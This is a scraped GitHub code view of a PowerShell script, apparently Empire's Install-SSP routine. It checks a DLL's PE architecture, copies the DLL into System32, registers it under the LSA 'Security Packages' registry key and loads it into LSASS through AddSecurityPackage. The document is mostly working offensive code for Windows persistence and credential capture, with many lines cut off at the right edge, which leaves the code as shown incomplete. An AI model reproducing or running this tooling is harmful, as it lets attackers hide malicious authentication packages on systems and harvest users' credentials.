


```

--
56         Mandatory = $True ]]
57     [String]
58     $Path
59 )
60
61 # Parse PE header to see if binary was compiled 32 or 64-bit
62 $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open
63
64 [Byte[]] $MZHeader = New-Object Byte[](2)
65 $FileStream.Read($MZHeader,0,2) | Out-Null
66
67 $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
68 if ($Header -ne 'MZ')
69 {
70     $FileStream.Close()
71     Throw 'Invalid PE header.'
72 }
73
74 # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
75 $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
76
77 [Byte[]] $lfanew = New-Object Byte[](4)
78
79 # Read offset to the PE Header (will be read in reverse)
80 $FileStream.Read($lfanew,0,4) | Out-Null
81 $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -j
82
83 # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
84 $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
85 [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
86
87 # Read compiled architecture
88 $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
89 $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2')
90 $FileStream.Close()
91
92 if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
93 {
94     Throw 'Invalid PE header or unsupported architecture.'
95 }
96
97 if ($Architecture -eq '014C')
98 {
99     Write-Output '32-bit'
100 }
101 elseif ($Architecture -eq '8664')
102 {
103     Write-Output '64-bit'
104 }
105 else
106 {
107     Write-Output 'Other'
108 }
109 }
110
111 $DllArchitecture = Get-PEArchitecture $FullDllPath
112
113 $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArch
114
115 if ($DllArchitecture -ne $OSArch)
116 {
117     throw 'The operating system architecture must match the architecture of the SSP
118 }
119
120 $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name
121
122 # Get the dll filename without the extension.
123 # This will be added to the registry.
124 $DllName = $Dll | % { % {($_ -split '\.')[0]} }
125
126 # Enumerate all of the currently installed SSPs
127 $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Na
128     Select-Object -ExpandProperty 'Security Packages'
129

```

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                if ($SecurityPackages -contains $DllName)
                {
                    throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\
                }

                # In case you're running 32-bit PowerShell on a 64-bit OS
                $NativeInstallDir = "$($Env:windir)\Sysnative"
            
```

Empire

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Blame

200 lines (154 loc) · 6.36 KB

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            }
        else
        {
            $InstallDir = "$($Env:windir)\System32"
        }

        if (Test-Path (Join-Path $InstallDir $Dll))
        {
            throw "$Dll is already installed in $InstallDir."
        }

        # If you've made it this far, you are clear to install the SSP dll.
        Copy-Item $FullDllPath $InstallDir

        $SecurityPackages += $DllName

        Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Package

        $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
        $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)

        $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
            'secur32.dll',
            'Public, Static',
            [Reflection.CallingConventions]::Standard,
            [Int32],
            [Type[]] @([String], [IntPtr]),
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto)

        $Secur32 = $TypeBuilder.CreateType()

        if ([IntPtr]::Size -eq 4) {
            $StructSize = 20
        } else {
            $StructSize = 24
        }

        $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
        [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)

        $RuntimeSuccess = $True

        try {
            $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
        } catch {
            $HResult = $Error[0].Exception.InnerException.HResult
            Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8'))"
            Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
            $RuntimeSuccess = $False
        }

        if ($RuntimeSuccess) {
            Write-Verbose 'Installation and loading complete!'
        } else {
            Write-Verbose 'Installation complete! Reboot for changes to take effect.'
        }
    }
}
    
```

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